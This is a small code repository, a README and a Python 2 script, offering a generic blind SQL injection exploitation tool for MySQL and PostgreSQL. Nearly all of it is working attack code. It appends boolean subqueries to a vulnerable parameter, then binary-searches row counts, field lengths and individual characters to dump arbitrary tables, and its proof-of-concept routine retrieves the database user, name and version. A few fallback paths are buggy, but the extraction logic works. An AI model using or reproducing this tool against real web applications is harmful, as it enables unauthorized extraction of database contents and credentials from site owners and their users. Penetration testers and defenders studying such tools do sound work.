├── README.md └── blind.py /README.md: -------------------------------------------------------------------------------- 1 | blind-sqli 2 | ========== 3 | 4 | A simple python script that exploits blind SQL Injections. 5 | It is useful for proof of concepts, since it's short and self-contained. 6 | -------------------------------------------------------------------------------- /blind.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # This program is free software; you can redistribute it and/or modify 3 | # it under the terms of the GNU General Public License as published by 4 | # the Free Software Foundation; either version 2 of the License, or 5 | # (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 10 | # GNU General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 15 | # MA 02110-1301, USA. 16 | # 17 | # Author: Matias Fontanini 18 | 19 | import urllib, urllib2 20 | import sys, time 21 | import zlib 22 | from urlparse import urlparse, parse_qsl 23 | 24 | # Generic Blind SQL Injection exploitation class 25 | class Blind: 26 | headers = { 27 | 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 28 | 'Accept-Language': 'en-us', 29 | 'Accept-Encoding': 'text/html;q=0.9', 30 | 'Keep-Alive': '300', 31 | 'Connection': 'keep-alive', 32 | 'Cache-Control': 'max-age=0', 33 | } 34 | 35 | def __init__(self, url, good_string, data=None, vulnerable_param=None, cookie='', timeout=0, method='GET', dbms='mysql'): 36 | self.url, self.params = self.parse_params(url, data) 37 | if len(self.params) == 0: 38 | raise Exception('At least one parameter is required.') 39 | if vulnerable_param is None: 40 | self.vulnerable_param = self.params.keys()[-1] 41 | else: 42 | self.vulnerable_param = vulnerable_param 43 | self.good_string = good_string 44 | self.timeout = timeout 45 | self.headers = Blind.headers 46 | self.headers['Cookie'] = cookie 47 | self.build_request = self.build_get_request if method == 'GET' else self.build_post_request 48 | self.set_dbms(dbms) 49 | 50 | def parse_params(self, url, data): 51 | if data is None: 52 | parsed = urlparse(url) 53 | data = parsed.query 54 | url = parsed.scheme + '://' + parsed.hostname + parsed.path 55 | data = dict(parse_qsl(data, True)) 56 | return (url, data) 57 | 58 | def set_dbms(self, dbms): 59 | dbms_functions = { 60 | 'mysql' : (self.to_hex, self.concat_ws), 61 | 'pg' : (self.to_pg_string, self.concat_pg) 62 | } 63 | if not dbms in dbms_functions: 64 | raise Exception('Valid DBMSs are ' + " and ".join(dbms_functions.keys())) 65 | self.to_str, self.concat = dbms_functions[dbms] 66 | self.dbms = dbms 67 | 68 | def build_post_request(self, url, params): 69 | return urllib2.Request(self.url, urllib.urlencode(params), self.headers) 70 | 71 | def build_get_request(self, url, params): 72 | return urllib2.Request(self.url + '?' + urllib.urlencode(params), None, self.headers) 73 | 74 | def send_request(self, req): 75 | result = urllib2.urlopen(req) 76 | data = result.read() 77 | hdrs = result.headers 78 | if 'Content-Encoding' in hdrs and hdrs['Content-Encoding'] == 'gzip': 79 | data=zlib.decompress(result, 16+zlib.MAX_WBITS) 80 | result = self.request_successful(data) 81 | time.sleep(self.timeout) 82 | return result 83 | 84 | def request_successful(self, data): 85 | return self.good_string in data 86 | 87 | def count_params(self, operator, number, table): 88 | params = dict(self.params) 89 | params[self.vulnerable_param] += ' and {0} {1} (select count(*) from {2})'.format(number, operator, table) 90 | return params 91 | 92 | def length_params(self, operator, number, field, table, offset): 93 | params = dict(self.params) 94 | table = ' from ' + table if table is not None else '' 95 | params[self.vulnerable_param] += ' and {0} {1} (select length({2}) {3} limit 1 offset {4})'.format(number, operator, field, table, offset) 96 | return params 97 | 98 | def data_params(self, number, field, str_index, table, offset): 99 | params = dict(self.params) 100 | table = ' from ' + table if table is not None else '' 101 | params[self.vulnerable_param] += ' and {0} < (select ascii(substring({1}, {2}, 1)) {3} limit 1 offset {4})'.format(number, field, str_index, table, offset) 102 | return params 103 | 104 | def echo_trying(self, string, number): 105 | sys.stdout.write('\rTrying {0} {1}'.format(string, number)) 106 | sys.stdout.flush() 107 | 108 | def make_request(self, params): 109 | return self.send_request(self.build_request(self.url, params)) 110 | 111 | def guess_count(self, table): 112 | length = 0 113 | last = 1 114 | while True: 115 | self.echo_trying('count', last) 116 | params = self.count_params('>', last, table) 117 | if self.make_request(params): 118 | break; 119 | last *= 2 120 | sys.stdout.write('\rAt most count ' + str(last)) 121 | sys.stdout.flush() 122 | first = last / 2 123 | while first < last: 124 | middle = (first + last) / 2 125 | params = self.count_params('<', middle, table) 126 | if self.make_request(params): 127 | first = middle + 1 128 | else: 129 | last = middle 130 | if middle == last - 1: 131 | return middle+1 132 | else: 133 | if first == last: 134 | return middle 135 | return pri 136 | 137 | def guess_len(self, field, table, index): 138 | length=0 139 | last = 1 140 | while True: 141 | self.echo_trying('length', last) 142 | params = self.length_params('>', last, field, table, index) 143 | if self.make_request(params): 144 | break; 145 | last *= 2 146 | sys.stdout.write('\rAt most length ' + str(last)) 147 | sys.stdout.flush() 148 | first = last / 2 149 | while first < last: 150 | middle = (first + last) / 2 151 | params = self.length_params('<', middle, field, table, index) 152 | if self.make_request(params): 153 | first = middle + 1 154 | else: 155 | last = middle 156 | if middle == last - 1: 157 | return middle+1 158 | else: 159 | if first == last: 160 | return middle 161 | return pri 162 | 163 | def query_offset(self, field, table = None, offset=0): 164 | length=self.guess_len(field, table, offset) 165 | print '\r[+] Guessed length: ' + str(length) 166 | output='' 167 | 168 | for i in range(1,length+1): 169 | first = ord(' ') 170 | last = 126 171 | curSize = len(output) 172 | while curSize == len(output): 173 | middle = (first + last) / 2 174 | params = self.data_params(middle, field, i, table, offset) 175 | if self.make_request(params): 176 | first = middle+1 177 | else: 178 | last = middle 179 | if middle == last - 1: 180 | sys.stdout.write(chr(middle+1)) 181 | output += chr(middle+1) 182 | else: 183 | if first == last: 184 | sys.stdout.write(chr(middle)) 185 | output += chr(middle) 186 | sys.stdout.flush() 187 | print '' 188 | return output 189 | 190 | def count_query(self, table): 191 | print '[+] Guessing count...' 192 | print '\r[+] Guessed count: ' + str(self.guess_count(table)) 193 | 194 | def to_hex(self, s): 195 | return '0x' + ''.join(map(lambda i: hex(ord(i)).replace('0x', ''), s)) 196 | 197 | def concat_ws(self, fields): 198 | return 'concat_ws(0x3a,{0})'.format(fields) 199 | 200 | def concat_pg(self, fields): 201 | output = '' 202 | for i in fields.split(','): 203 | if len(output) > 0: 204 | output += '||CHR(58)||' + i 205 | else: 206 | output += i 207 | return output + '' 208 | 209 | def to_pg_string(self, s): 210 | return '||'.join(map(lambda x: 'CHR(' + str(ord(x)) + ')', s)) 211 | 212 | def parse_where(self, where): 213 | where_cond = [] 214 | for i in where.split(' '): 215 | if(len(i) > 0 and i[0] == "'"): 216 | where_cond.append(self.to_str(i[1:-1])) 217 | else: 218 | where_cond.append(i) 219 | return ' '.join(where_cond) 220 | 221 | def query(self, fields, table, where='', start=0): 222 | try: 223 | print '[+] Guessing number of rows...' 224 | if len(where) > 0: 225 | where = self.parse_where(where) 226 | table = table + ' where ' + where 227 | if ',' in fields: 228 | fields = self.concat(fields) 229 | count = self.guess_count(table) 230 | print '\r[+] Rows: ' + str(count) + ' ' 231 | results = [] 232 | for i in range(start, count): 233 | print '[i] Dumping record ' + str(i+1) + '/' + str(count) 234 | results.append(self.query_offset(fields, table, i)) 235 | print '[+] Query results:' 236 | for i in results: 237 | print ' -> ' + i 238 | return results 239 | except KeyboardInterrupt: 240 | print '' 241 | 242 | def proof_of_concept(self): 243 | if self.dbms == 'mysql': 244 | username = 'user()' 245 | database = 'database()' 246 | version = 'version()' 247 | elif self.dbms == 'pg': 248 | username = 'getpgusername()' 249 | database = 'current_database()' 250 | version = 'version()' 251 | else: 252 | raise Exception("DBMS not supported yet") 253 | print '[+] Retrieving username' 254 | username = self.query_offset(username) 255 | print '[+] Retrieving database' 256 | database = self.query_offset(database) 257 | print '[+] Retrieving version' 258 | version = self.query_offset(version) 259 | print '[+] Username: ' + username 260 | print '[+] Database: ' + database 261 | print '[+] Version: ' + version 262 | --------------------------------------------------------------------------------